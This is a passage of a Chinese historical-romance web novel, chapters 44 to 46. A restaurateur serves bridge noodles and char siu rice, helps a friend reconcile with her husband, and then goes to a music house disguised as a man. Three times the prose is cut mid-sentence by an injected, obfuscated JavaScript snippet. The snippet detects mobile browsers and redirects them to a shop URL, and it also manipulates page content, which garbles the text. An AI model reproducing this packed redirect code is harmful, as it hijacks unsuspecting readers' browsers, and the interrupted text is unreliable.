暗灰色的天际浓云密压，天气寒凉，食客也少了许多，江弥杉刚送走一批食客，背身往柜台走。 兰香守在柜台，整理钱两，忽瞧见两个熟人，：“玉姑娘、藤萝！” 只是，今日玉姑娘看上去心情不大好。 闻声，江弥杉转过身，就见玉欣怡带着藤萝走进，两人与往日笑脸盈盈不同，今日笑得就勉强了许多。 这幅模样，很少在玉欣怡身上看到，江弥杉不由奇怪，但没有细问，领玉欣怡去包间。 待点完菜，上完茶，玉欣怡捂着茶盏，才开口，话音低低的：“江姐姐，你陪我说说话可好？” 自认识玉欣怡起，这样的神情，江弥杉只见过两次，一次是大婚，一次便是现在。 这不得不使她联想到另一个人，赵穆。 江弥杉不知细枝末节，未下定论，而是道：“我将菜报给厨间就来。” 玉欣怡点头，：“嗯，有劳江姐姐了。” 等片刻，江弥杉端着两碗桂花汤圆推门走入雅间，：“喝吃碗汤圆暖暖身。” 她坐至玉欣怡对面，轻声问：“怎么不高兴了？” 玉欣怡却问：“江姐姐，我是不是很不聪慧？” 江弥杉被问题拌住思绪，一面诧异，一面道：“怎么会，你若是不聪慧，如何能与我一起抓了山匪头子呢？” 玉欣怡摇头：“不是这个。” ：“我不聪慧，不懂情。” 藤萝无声叹气，又心疼姑娘，看玉欣怡说不上关键，才道：“姑娘与世子昨夜拌了回嘴。” ：“世子似是气急了，便说姑娘不懂男女之情，还摔了姑娘亲手做的陶人。” 玉欣怡垂着水眸，心中犹被无法言说的难受闷堵，：“我分明，带他去了许多我爱去的地方，也随他去了许多地方，与他讲了许多在甘州的事，是我太笨了，想着，如此也算喜爱……” 江弥杉蹙着眉，料想不到赵穆竟如此不懂欣怡，还恶言相向，心里翻了个白眼，安慰道：“那便是他不好，察觉不到你的心意，还冤枉你。” 玉欣怡：“我想，他大约是，欣赏更外放的。”否则也不会买醉而归。 ：“又不能和离，两看生厌，还必须处于同一屋檐下，会很累的。” 江弥杉：“你是世子妃，将来王府的女主人，你能做的事很多的，欣怡，何须只在他一人身上花心思。” ：“你爱什么，你便去做，经营自己的生活，不是更好？” 玉欣怡抬眸，：“可我不想看见他，但王妃又会担心。” 江弥杉：“你成亲如何对待，当下便如何对待，少在意他人，多在意自己。” ：“有个词叫相敬如宾，正是这个道理。” 藤萝倒吸一口凉气，望一眼语出惊人的江姑娘，又看向有所领悟的玉欣怡，觉着江姑娘说得有几分道理，又似乎不太和情理。 正此时，房间外传来一阵焦急的询问：“欣怡在此处吗？” 一声话语，吸引了屋内三人的注意，共同往门口望去。 44. 过桥汤面（下） 这声音玉欣怡熟悉不过，她连忙摇头，示意她不在，一面又想赵穆怎么又变了脸，追到这儿来了？ 但，已来不及去劝阻，房间外的兰香已给了答复。 玉欣怡刷的站起身，手紧扣衣袖，似乎想了片刻，又决定钻入桌下。 江弥杉似有察觉，起身抓住欣怡手腕拦下，唇角浮这淡淡的笑，眼眸却十分严肃：“躲并非是好办法，待他进来，且看他说什么。” 藤萝也附和着点头：“姑娘，逃得过初一，逃不过十五的。” 玉欣怡抿住唇，深呼吸一口气，撞的胸怀起伏，觉得有理，又盯着门坐下。 ：“吃汤圆，汤圆再不吃就凉了。”江弥杉目光带过桌上白胖的汤圆。 此时，门被轻敲了两下，江弥杉站起身去开门。 ：“欣怡……” 见到人，赵穆反倒没有了将想了一路的话说出的勇气，只看着她吃着汤圆，一眼都不肯转分过来，就知晓昨夜他做得事有多混账，有多伤人心了。 江弥杉客气地笑着：“公子请先坐下吧。” 江弥杉悄悄打量着赵穆，看他一副着急的模样，猜想应该是来与欣怡道歉的。 她侧身探出，叫住兰香，：“再去端一碗桂花汤圆来。”又在门口等待。 玉欣怡吃完一个甜软的汤圆，见藤萝已起身站至一旁，她转身与刚坐下的人说：“是母妃让你来寻我的吧，我没事，你回去复命吧。” 赵穆摇头否认：“不是，我是来与你道歉的。” 藤萝悄悄往门口之外挪，回避当下。 玉欣怡：“世子有何错，世子何错都没有，无需道歉。” 赵穆哑然，照欣怡的性子，她必会要这个赔礼道歉，若是赔礼道歉都不要了，那事情就更加难办。 昨日在酒楼吃了一顿饭，饮了些酒，又被同伴所激，蒙了脑的觉得从前种种他是白做了，捂不暖一颗心。 回府后，欣怡就在摆弄陶土人，根本未留意他喝醉了，因此大吵了一架，口不择言，还摔了陶人。 待今日回去，侍奉在欣怡身边的侍女说出种种事情，他才恍然大悟，追了出来。 赵穆斟酌片刻：“我有错，我不该质疑你。” 玉欣怡紧紧捏住瓷勺，垂眸又盛起一个汤圆，：“嗯，我知道，我很聪慧呢。” 赵穆未想到欣怡此般说辞，愣了片刻，手抓的袍服更紧，继续道：“是我蒙了心，不懂你，一切都是我的错，还请你原谅。” ：“哦~我可不敢这般想，至于原谅。” 玉欣怡转头：“好啊，我原谅你。” ：“满意了吧？那世子请回，无需在此处浪费心力。” 赵穆唇抖了一下，：“欣怡……” 玉欣怡：“随你。” 此时，兰香端来汤圆，江弥杉接过，又推门进去。 江弥杉轻轻放下汤碗，再看玉欣怡又恢复以往生动，但又似在强撑，心里暗暗叹难。 不过，伤了人心，又哪里是区区一句道歉又可挽回的，欣怡生气，也在所难免。 ：“客官慢用。”江弥杉轻声道。 玉欣怡收回目光，抬眼对江弥杉笑道：“江姐姐，可以上汤面了，劳烦你为藤萝重新设一桌。” 江弥杉又望向赵穆：“公子可来一套过桥汤面？” 赵穆想总不能白做在此处，并且，他还未吃晚饭，于是点头应是。 室内又陷入诡异地安静，江弥杉走路都不由得放轻脚步，刚走到门口，准备关门，一句低沉的话音打破了安静。 ：“其实，早在赐婚时，我便心悦于你了。” 赵穆沉思片刻，决定袒露心迹，说完也不曾转移视线。 玉欣怡抬眼看向赵穆，满是诧异，思绪完全被着突如其来的话打乱，不知该说什么。 她挣扎出一句：“你……你……你无需骗我。” ：“并非是骗你，便是因此，即便你愿独自出门，我也心甘情愿地跟随你。” ：“你看，你也不晓得我的心意吧。” ：“我们扯平了。” 玉欣怡茫然地蹙眉，扯平了是什么意思，她可没有就此说他不够聪慧，不懂男女之情。 她可从！未！说！过！！ 玉欣怡正想说，又听赵穆道：“我是被几个玩伴说的刺激着了，又喝了酒，脑袋不清醒，才冲你发脾气，是我的过错，你怎么罚都可。” 江弥杉诧异地挑眉，两人都心悦彼此，但又不说，结果都懵懂不察。 不过好在，懂说出来。 藤萝也是一愣，随着江弥杉关门，小声问：“江姑娘，这……” 江弥杉回道：“大约没事了。” 里间，传来玉欣怡的不流利地一句：“我……我还没想好！” ：“何时想好，与我说。” 玉欣怡红了耳廓，别过脸轻哼一声。 片刻，江弥杉推着车走近屋，照常将陪料下入汤里，又烫热一会儿，才倒下面条。 ：“为何是过桥汤面？”玉欣怡问。 江弥杉又将传说讲了一遍，：“大约是为了纪念此段感人的男女之情吧。” 江弥杉浅浅笑着，：“一道桥连接两颗心，也是百姓对圆满爱意的期盼。” 玉欣怡看江弥杉说的头头是道，觉得未免太合时宜了，轻声感慨：“江姐姐，你是在骗我吧？” 赵穆：“……” 江弥杉：“怎么会，我同问的人都是如此说的。” 玉欣怡怎么想都觉得巧，偏偏她又多问了一嘴，听得这么个故事，都不晓得是现编的，还是真有此事…… 江弥杉莞尔一笑：“故事真假不重要，吃食可口就好，面可以吃了。” ：“两位客官慢用。” 江弥杉笑着推出雅间，彼边，藤萝也开始拌面。 雅间内，赵穆思索片刻，问：“你在甘州时……可曾有想过将来的夫婿是何性格？” 玉欣怡：“没有，若说有，那得是位可以与我纵情策马的潇洒儿郎。” ：“绝不会说我重话。” 赵穆：“……” ＊ 过桥汤面的美好爱情吸引着情侣来品尝，甚是畅销。 这日时辰尚还早，江弥杉与方万宜刚下完两碗面条，一转身，就瞧见李定卓与章文安并肩走进，在空着的一桌坐下。 江弥杉莞尔一笑，上前招待，方万宜先离开。 走至桌边，江弥杉抓住了一丝不寻常。 这丝不寻常，并非来自于一直落在她身上的目光，而是有一道目光，随着万宜去了。 江弥杉奇怪章文安什么时候对万宜动了心，一面又想是不是忽略了什么，可看万宜如常般冷静自持，她猜想应该章文安暗恋。 江弥杉各斟一杯茶，推荐完过桥汤面，笑道：“章公子有事找万宜？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027736|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 章文安端着茶，险些一口喷了出来，连忙摆手否认。 李定卓抿口茶，淡淡：“他犯癔症了，近几日都这幅模样。” 江弥杉忍不住轻笑一声，转脸道：“你不明白~” 章文安轻咳两声，掩饰被看破的心思。 其实他也说不明白，口舌费了太多，但仍劝不动人对锦衣卫改观。 他越说，方万宜便只是说——嗯，我明白；嗯，知晓了。 往后，他就拿自己举例子，方万宜只静静打量他片刻，道：“与我而言，我并不好奇真实的镇抚司是何模样，但听你说了许多，我也明白从前是我人云亦云了。” ：“不做亏心事，不怕鬼敲门，我不怕了，章公子放心吧。” ：“不过，国子监生意很好，忙不得去镇抚司。” 鬼使神差的，他就忘不掉了。 江弥杉笑道：“真诚，尊重，不妨试试。” 章文安：“这……” 李定卓似乎明白了什么，蹙眉道：“你可认真？” 章文安哎呀一声，咬牙道：“还能有假？” 李定卓：“你的话，很难说。” 江弥杉听着两人交谈，微微眯眼，审判的目光又落至章文安上。 万宜已经受过一回伤，即便是是熟人，她也不希望万宜被伤害第二回。 江弥杉收回目光，离开去厨房。 厨间，方万宜正在盛汤，其他几位厨娘则在备配菜。 江弥杉思索了片刻，决定还是不说，比起撮合，或许万宜自行去感触更合适。 如果章文安犯浑，她也绝对饶不了他。 想着，江弥杉走至方万宜身旁，目光扫过最后一锅鸡汤，当下只够最后一碗，其他菜食也所剩不多，大约也只是一桌的量。 正好兰香进来，江弥杉便转身道：“兰香，去把打烊的木牌子挂上。” 方万宜盛好最后一勺汤，轻声感叹：“汤面已是经供不应求了。” 兴许是传言甚是感人，过桥汤面都快成了祈求好姻缘、表达心意的首选了。 一碗汤面，吃得情意绵绵，都不像在的不吃面，而是在吃月老的红线。 姚丹端来配好的菜，调侃：“昨日去上汤面时，还听人与夫人介绍传说呢，当下提到汤面，想到的都是过桥汤面。” ：“过桥汤面，还需得是我们食肆的过桥汤面，因而食客就来了许多呢。” 江弥杉觉得挺有意思的，像是两个含蓄的年代，通过一则故事，将春心萌动、恩爱白首的心意与美好期望凝聚在一碗汤面中。 她忽理解了停留在书籍与电视剧里的小说曲折的爱情传说。 做过的阅读理解，似乎在当下将每一个字清晰的展现在眼前。 江弥杉轻笑一声：“情真食美，才是关键所在。” ：“万宜，我们去送汤面吧。” 方万宜诧异于两人不是更好说话，虽然章文安在，但也未必影响。 沉默稍许，她道：“好。” 待为章文安备汤面时，面对絮絮叨叨的疑问，方万宜便开始头疼。 ：“为何叫过桥汤面？” ：“真的假的？” ：“怎么从未有人请我吃？” ：“……” 终是李定卓忍无可忍，眼扫过去：“闭嘴休息会儿吧。” 江弥杉抿唇憋笑，方万宜松了口气。 45. 叉烧饭 重阳佳节，最适登高望远，观赏湖光山色，才子以字摹景，直抒胸臆。 此前，过桥汤面的余热还未完全散去，但总靠汤面并不是长久之计，江弥杉左思右想，决定增上叉烧盖饭。 逛了几日街市，凑齐了烤叉烧所需的食材，再调配腌叉烧的酱料，兰香瞧江弥杉又开始往甜酱里怼各种料汁，就猜到江弥杉又有什么稀奇的菜品要准备推出了。 调制酱料不难，第二日，厨间就开始备菜。 肥瘦相接的梅花肉改刀成长条，在加入盐、胡椒、葱姜、蜂蜜与几勺深棕的酱汁等材料腌制。 多了几个厨师，备菜的效率就提高了许多，午间所需的份量不过一会儿就全腌制好。 兰香往灶里添完柴，走至厨台前，好奇地盯着几盘肉看，转头问江弥杉：“姑娘，这是什么菜？” 江弥杉撇着嫩青的青菜，想着叉烧肉未必能说得通，干脆编了个说法：“是……烤梅肉。” 方万宜与三位徒弟在对面切菜，一抬眼望向占着厨台的几盘的肉。 姜绮先笑了：“完了，那几家酒楼的老板又要冥思苦想一阵了。” 姚青与姚丹也跟着笑出声，方万宜冷静许多，只是唇角微微扬起，默不作声。 心里却道，冥思苦想又如何，不如自己多动些脑子，少关注江记做什么。 江弥杉去却很无奈，据来店里吃饭的花伯伯说，京中有食肆酒楼的商会，入会即可有专有的旗标。 但商会大多都是其他的大酒楼、食肆的掌柜把控，听说会长就是第一酒楼的胡记的张展柜。 而京中三层及以上的酒楼食肆，都必须先入会，再承报官府，否则就不符合规定。 很不巧，胡记也爱打听配方，光明正大的打听。 不少想要申请入会的食肆，甚至会主动将招牌菜的食谱透露，导致客源流散。 入会还是食谱，这便是胡记的底气。 江弥杉无声轻叹，算了，反正当下还不急着加盖，入会的事，暂且可以放一边。 腌好的肉当天不用，而是等明日才在进炉烤制。 待食客又走了一批，江记食肆熄灭灯笼打烊。 翌日一早，腌制了一夜的肉早已被酱料浸透，非常香，肉条棕红，提入烧热的烤炉时，酱汁还顺着肉缓缓滴落可琥珀似的珠子。 烤制饭点，最后一批肉条的外衣恰到好处地点缀着几点焦意，这时肉条已完全盛亮眼的棕红色，颗颗滴汁，香气将整个厨间侵占，袭击人的鼻息。 兰香回忆起刚才的盖饭，还是忍不住馋，：“好香啊，我感觉又饿了。” 厨间内传出笑声，与一声感慨。 ：“实在是很香嘛……” 午饭时刻，江记满座的也很快，点单也很快挂入厨间。 江弥杉顺着炉眼上的砂锅浇入一勺调制的叉烧酱汁。 一泄棕红慢慢浸染过外棕内红的肉片、金色的炒蛋，青绿的叶子，又流入下方的米饭。 接着又迅速盖上锅盖，由锅内滋滋作响。 随之，菜食也很快跟着出餐。 江弥杉走出厨房，往各桌逛一圈，其中大多是熟人，今日花易仟与文苒也来了，桌上还有辣椒炒鸡、清炒时蔬。 各自一小锅，花易仟先夹一块肉入口，香甜软嫩，有些许焦意，但不至于发苦，烤的恰到好处。 外表并不干，口感润泽，内里更发对胃溢汁，没有任何蘸料，但吃起来就是觉得好吃，又不腻。 江弥杉探问：“伯伯和婆婆觉得如何？” 花易仟满意地赞叹：“甜而不腻，香而不杂，肉香汁鲜，很是不错。” 文苒也刚慢咽下，：“很美味，我从未吃过如此口味的烤肉。” ：“有些烤肉，牙口不好，还吃不动，这个，我吃起来到很轻松。” ：“小逸公事繁忙，回回都错过。” 江弥杉轻笑：“逸公子尽职尽责呢，否则便溜来了。” 花易仟哈哈朗笑，：“他不敢！” 说着便从底拌起米饭，将棕红的肉与酱汁、莹润的米饭、金黄的鸡蛋拌匀。 江弥杉也跟着笑起，：“您们慢用，若有需求，举手叫小依她们就好。” 都是熟客，不仅厨师的名字熟，送菜点菜的服务人员的名字也都熟。 文苒笑道：“好，江姑娘去忙吧” 江弥杉转了一圈回到厨间，：“还不错，食客大多都满意。” 方万宜觉着不可思议：“还有不满意的。” 姚青与姚丹也看过来，只觉不可能。 江弥杉清清嗓子：“谦虚来说，大多都满意。” 方万宜笑哼一声，无言摇头。 ＊ 叉烧饭又买了两三日，到重阳节前一天，江记也往后延了半个时辰。 却也不是故意等谁，今日宫中设宴，李定卓也在受邀名单，提前就转告来，今日来不了。 而是明日重阳，江记食肆休息三日。 江弥杉为用过饭的一桌食客送栗子糕与香茶水，目光往门口一瞟，就瞧见玉欣怡与藤萝笑着走进食肆。 招待好这一桌，江弥杉又迎上前，领她们往包间走。 ：“怎么你今日不进宫赴宴？”江弥杉好奇。 玉欣怡：“昨日就去过了，今日应该是臣子宴。” 江弥杉了然的哦了一声，前几回世子都是跟着的，今日到有些奇怪。 ：“今日怎么不与世子一起来了？” 玉欣怡哈哈脆笑两声，道：“当然是，他有应酬啦” 藤萝：“……” 世子有应酬，姑娘如此高兴做什么。 江弥杉：“……” 坐下，点完菜，江弥杉才道：“重阳节食肆打烊三日，别来空了。” 说完，江弥杉又去取菜。 玉欣怡思索片刻，重阳节当日，王府要设宴，母亲、回京的大哥与嫂嫂都要赴宴。 后两日应该无事，不对，赵穆又有应酬…… 转着眼珠思索片刻，玉欣怡打算夜路出去逛逛，没有赵穆跟着，逛逛一些她没回过去的地方…… 此时，江弥杉推着餐车走进，玉欣怡循声望去，顿时又有了新主意。 江弥杉端送叉烧盖饭与两道菜食，捏着帕子揭开锅盖。 香气随着一团白烟侵入鼻息，如一个小勾，一下就把肠胃勾动了。 ：“好香啊！”玉欣怡与藤萝异口同声地感叹。 不止香，看起来也很诱人呐，酱色晶晶闪闪，菜蔬鲜绿，那鸡蛋看上去也很蓬软。 ：“这边是烧梅肉饭。” ：“要拌匀了吃。” 玉欣怡顿觉后舌生津，只想大吃一口，便先道：“江姐姐，待一刻钟后，你进来片刻，我有话与你说。” 江弥杉： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037912|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “什么事？” 玉欣怡嘿嘿的神秘笑了两下：“到时候你便晓得了。” 江弥杉更觉事情不简单，狐疑地打量一眼玉欣怡，又望向露着无奈笑容的藤萝。 但她猜不着究竟是什么事，搞得如此神秘…… 江弥杉只得暂且压在好奇，笑回一声好，便又推着车离开，去别桌送菜。 待江弥杉离开，藤萝先压不住好奇心，探问：“姑娘，有什么事呢？” 玉欣怡夹起片肉，送入口中，只觉香中泛甜，紧实又嫩软，一口而下，还溢出香汁，只觉舌头都高兴起来。 玉欣怡唇轻动了几下，藤萝倒是听得瞪大了眼睛。 ：“如此……如此不好吧……” ：“江姑娘的心上人，会生气的吧？” 玉欣怡笑的更神秘，：“不让他们晓得就好了呀，这是个秘密。” 藤萝：“……” 说完，玉欣怡拌匀米饭，特意盛起一勺围着肉、鸡蛋的米饭，轻吹几下，散去热起，放入苦中。 松软的米饭裹着一层酱汁，吃起来十分多姿，更加香甜可口，这甜味又并不浓厚，因此吃起来不腻，反导数想一多绽放的彩花，令人眼前一亮，食指大动。 鸡蛋和她所想的一般蓬软嫩，炒的很是香，又有肉片相搭，越嚼越香，根本欲罢无能。 ：“藤萝，你快尝尝，真是极其美味！”玉欣怡迫不及待地分享。 藤萝拌匀饭，也盛一勺入口，顿觉玉欣怡说的一点也不夸张。 的确很美味，是一种毫不讲理地美味，席卷总着口舌，令人无法自拔，无法质疑。 每日在王府吃的其实并不差，王府的厨子也各个手艺精湛，可每回陪姑娘到江记用饭，吃的菜食，都是美味之上的美味。 无法形容，但是，就觉得，身心都得到了抚慰。 藤萝连点几下头：“嗯嗯，姑娘说的是。” 宛若眨眼间，一桌饭菜就见底。 江弥杉算着时间差不多轻轻推门走进，看一桌饭菜已净，心中十分高兴。 她坐下，等玉欣怡喝茶净口后，才问：“有何事要与我说啊？” 玉欣怡唇角扬起，：“江姐姐后日入夜可得空？” 藤萝暗暗觉得不可能，毕竟姑娘真是太大胆了，但也望向江弥杉。 江弥杉：“得空，怎么了？” 后日，李定卓有公务要处理，无需去京郊，前日要去爬山，休息一日，算起来也没什么事。 玉欣怡心道太好了，声音却低了几分：“江姐姐可想去沐花街听曲子？” ：“啊？” 江弥杉诧异地瞪大眼，完全没有想到玉欣怡和她想说的，竟然是去略有耳闻的沐花街。 但，也并不是不能接受。 ：“你……不怕世子？”江弥杉试探着问。 玉欣怡：“他有公务。” ：“江姐姐可想去？我总听人说沐花街的乐音坊的柳含烟姑娘弹曲子很是不错，想一饱耳福，但……总没机会。” 江弥杉莫名的有些蠢蠢欲动，：“扮男装去？” 玉欣怡点头：“那是当然，女装去，会被认作寻夫婿砸场子的。” 江弥杉想，只要不让李定卓晓得，就没有太大的问题，听曲子，欣赏音乐的确不错。 ：“那……去吧。” 藤萝瞪圆眼，暗暗感叹一声完了。 46. 葡萄佳酿 正值重阳佳节的休沐，夜市人流如织欣赏道路彩灯，游摊小贩吆喝不断，穿梭街巷。 马车行入喧嚣，外放热闹，催动着车里的人也不甘错过。 江弥杉鲜少穿男装，为了这回去乐坊，特意去买了一套看上去比较矜贵的男子装束。 蓝青色的袍服，绣着白鹤祥云，带上发冠，走得是翩翩公子的风格。 她掀起帘，往外边探看，满目流光，又有食摊香气扑鼻，放眼远眺，星火辉辉。 江弥杉按耐不住想游街赏灯的心，转头问：“要不，下车去夜市逛逛？” 玉欣怡弯眼一笑，没想到江弥杉先说出来，当下一拍即合，：“好！” 车停下，两人先后下车，穿入人流采买心仪物件。 街道之上，某处酒楼，提安守在包房外，鼻尖都是饭菜香，又觉甚是无趣，想着世子与指挥使大约要谈许久，干脆走到楼台前透气。 才刚站了片刻，就见一道极其熟悉的身影与另一个女子从眼底穿过，看上去倒像是世子与世子妃常去的江记，其中的女掌柜。 有说有笑，手中还提着不大包小包的物件，再往前走，那里正好停着着架马车。 世子妃不是说，会等世子回去的吗，怎么扮着男装出门了？ 酒楼前处是拐角，往左去玄武街，往右…… 提安探头去看，见两人上了马车，车京是往右逛。 提安惊地瞪大眼，顿时火烧眉毛，连忙往回走，正巧此时有送菜的店小二，他接过托盘，挥手示意小二离开。 接着深吸一口气，平复心情，轻敲两下木门，才推门走入。 赵穆斟着酒：“若无李大人公正严明，我父王，怕是难保贤名了。” 李定卓：“镇抚司为皇上监察百官，权责之内，理当如此。” ：“我敬大人一杯。” 李定卓端起酒杯：“世子客气。” 提安端菜走来，笑着上完菜，贴近赵穆耳畔低语几句。 赵穆颜色立刻一暗，又望向李定卓。 李定卓知晓他有事，遂道：“再下已饱腹，先行一步。” 赵穆面上尚还保持稳妥，点头答应，心内已是火浪翻滚。 见李定卓走至门口，站起身才问提安：“你可看清了，真是世子妃。” 提安连点三下头，：“看清了，的确是世子妃，还有江记的女掌柜。” 李定卓通常听人谈事，听到也作不知，但当下江记的女掌柜几字入耳，他停下脚步，又怀疑听错了，转身询问。 ：“请问，是那个江记？” 赵穆与提安都诧异地循声望去。 提安对上李大人冷冽眼神，才回过神，：“就是尚恒街的江记食肆。” 李定卓才确定的是江弥杉，她竟随着世子妃去沐花街。 她绝无可能不知晓沐花街是什么地方，只是她去那个地方做什么？ 饮酒玩乐？ 李定卓眉头蹙起，：“世子若是不介意，再下可随行。” 赵穆心头一惊，李定卓自然不会在乎欣怡，那么，就是江姑娘！ ：“莫非……” 李定卓：“正是。” ：“不介意，不介意。” 朝廷内外都说新任指挥使手段狠毒，不近人情，不近女色，心如磐石。 据说某县的知府相以美色贿/赂，结果最后审问时，被喂助兴的药。 这位江姑娘，却能打动李指挥使，还让他如此在意…… 赵穆深感震撼，同时又未欣怡与江姑娘二人去沐花街的事头疼。 若是饮怡的主意，还得与李指挥使陪不是。 出了酒楼，提安驾车，快马跟上。 ＊ 乐坊，歌舞缭绕，乐声绕梁。 带路的坊主笑着往前，与身后两位客人介绍：“今日刚来了位擅长古筝的男乐师，与含烟的琵琶合奏正相宜呢，二位……” ：“二位公子可要请他来？” 江弥杉挑眉：“长得如何？” 玉欣怡一愣，揪住弥杉的袖边，疑问的侧头。 ：“来都来了……”江弥杉侧脸小声道。 坊主转头：“那是极其的端正英俊，不染凡尘，如乐仙下凡……” 玉欣怡听了一笑，想想的确如此，来都来了，何不多加一人，听场合奏呢？ ：“那便请他来吧。” 玉欣怡与江弥杉四目相对，敲定了主意。 二人在一间厢房内等待，点了葡萄佳酿与几道小菜，各倒了一杯品饮。 玉欣怡尝了一口，又与在甘州喝过的对比：“不够烈，没意思。” 回味悠长，果甜与酒香融在舌尖，江弥杉觉得刚合适，调侃：“你在甘州时十分自在了。” 玉欣怡提起甘州就来了兴趣：“那是当然，我与兄长们常去打猎，现猎现烤，再配美酒，时而还去牧民家中做客，围着柴火唱歌、跳舞，入夜都不曾停下。” ：“累了就躺在沙里看星星，我时常会睡着，兄长就只好抱我回去，父亲见了，又会骂一台兄长。” 江弥杉回忆着前世和好友躺下草原上数星星，轻声感叹：“无拘无束，真好呢。” 玉欣怡嗯了一声，陷入回忆，：“我很期盼能再回去一次。” 江弥杉唇角慢慢勾起，眼底闪过一抹无奈。 ：“带着赵穆也体验一次，哈哈哈。” 话音落，门就被敲响，吱呀一声，随之从外被推开。 两位抱着乐器乐师走近，走在前的是怀抱琵琶的柳含烟，轻慢地走近见礼。 见客人两位姑娘，眼底不免滑过一抹诧异，同样，木篱也是一愣，目光在两位男子打扮的姑娘身上流转，随后又一起坐至摆放的木凳上。 一位清婉动人，一位清冷英俊，江弥杉暗暗感叹，娱乐业的人员，果然比旁人都悦眼。 江弥杉拿起酒杯，与对面两位佳人笑问：“你们都会奏什么品类的曲子？” 玉欣怡：“……” 怎么江姐姐比她还激动呢？ 柳含烟浅浅一笑，语意温柔：“大多都会，公子若有想听的，也可点。” 江弥杉微笑，望向玉欣怡：“你先点吧。” 玉欣怡也不推辞，倒酒问：“甘州民调可会？” 柳含烟点头：“会。” ：“就奏第十曲吧。” ：“是。” 乐声扬起，流露热情潇洒。 江弥杉品着酒，却好似已经并非在乐坊，而是到了万星夜空，篝火歌舞的热情洒脱。 身边的玉欣怡一手握酒壶起身，一手提起袍服，笑着道：“江兄，我跳支舞给你看。” 乐曲总是带着情感的，在有玉欣怡的歌舞，江弥杉又饮口酒，头一回感到从乐曲中传出的缕缕情意。 她从前并不懂如何欣赏乐曲，觉得分析出来的情感只不过是音符拼凑带给人的第一印象。 但当下，她从这样热情洋溢的乐曲中，感受到了无限的怀念。 她也不由怀念起那个可以纵情享受自由，追求自我的时代…… 玉欣怡跳的并不完全标准，但看她笑着，踩着乐点挥手转圈。 江弥杉心也被这股热情所感染，放下就杯，为她打起节拍。 玉欣怡转着圈到江弥杉面前，还在舞着，笑眼盈盈：“江兄，我教你跳。” 江弥杉莞尔一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045225|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，答一声好，由玉欣怡拉起。 一舞过后，乐声不止。 ：“欣怡，我教你一首我在梦中听得的歌遥吧。”江弥杉转身道。 江弥杉只觉的不够，想让另一个时代的热情与洒脱挥洒在此处，肆无忌惮地玩闹一回。 ：“嗯。”玉欣怡虽好奇，但也应了下来。 江弥杉轻笑着，顺手撩过另一个酒壶，品一口酒，感觉酒液顺着舌底滑过喉咙，顺着浑身经脉浇淋心田。 ：“让我们红尘作伴，活得潇潇洒洒……” ：“策马奔腾，共享人世繁华……”1 江弥杉扬声唱着，璇步掌臂，唱一句，饮一口酒，仿佛只有如此，才能纵情一回。 玉欣怡目光随着江弥杉璇起的身姿挪动，不由看呆了。 如此歌谣，如此调子，她从未见过，这幅模样的江姐姐，她也从未见过。 可这歌谣，听上去就觉得甚是洒脱！！ 她很喜欢！便又跟上去。 奏乐的乐师：“……” 乐声未停，这曲子她们虽这从未听过，但柳含烟仔细听了片刻，便知晓该如何弹奏，找准起点，跟着迎上。 听见合上乐声，江弥杉诧异地转头，望向柳含烟。 柳含烟扬唇一笑，又垂眸继续拨动琴弦。 江弥杉踉跄地走过去，想询问她是否也和她来自同一个地方，未留意台阶，脚底不稳随之绊倒。 玉欣怡虽喝的不少，但尚还保持清醒，见江弥杉步履不稳，连忙停下跟上，但仍慢了一步。 ：“江兄！！” 屋内忽传出咚的一声，紧跟着是一声惊呼。 等在屋外不久的李定卓眼皮一跳，在不顾忌，推门闯入。 三人都围着从地上爬起的江弥杉，柳含烟与玉欣怡慢慢扶起她。 一团乱间，木篱看进来两位公子，以为走错了屋，便上前道：“二位公子……” 不过还未等他说完话，其中更高的一位直接略过他，大步流星地将身后走去。 ：“你们退下吧。”赵穆语气淡淡。 木篱才反应过来，是两位姑娘的心上人追来了，没有多说，与柳含烟转身抱琴离开。 ：“你……你怎么来了。” 江弥杉眼前迷迷糊糊地现出一张冷脸，单腿跪在地，隔着衣袍捏这她的骨头，每捏一处，就问一回这处痛吗？ 江弥杉摇头否认，脑内一团乱，但觉得李定卓在这里很是奇怪，他是来这儿，还是跟来这儿。 ：“你……” ：“我来寻你。” 江弥杉捧住他的脸，轻轻揉了几下，确定不不是幻觉，头微微一歪，展颜笑，一字一字地说道：“辛苦你了。” 李定卓望着面前似醉非醉的人，目中懵懂，被逗乐，低笑一声，：“不辛苦。” 玉欣怡还未来得及诧异为江弥杉检查伤势的人，听闻那十分熟悉的话音，转过头，眨了数下眼睛：“你们……” ：“你怎么找来的？” 赵穆深吸一口气，走至欣怡身边，淡淡一笑：“若要人不知，除非己莫为。” 玉欣怡掩口轻咳一声，还未来得及说一字，就被牵着领出去。 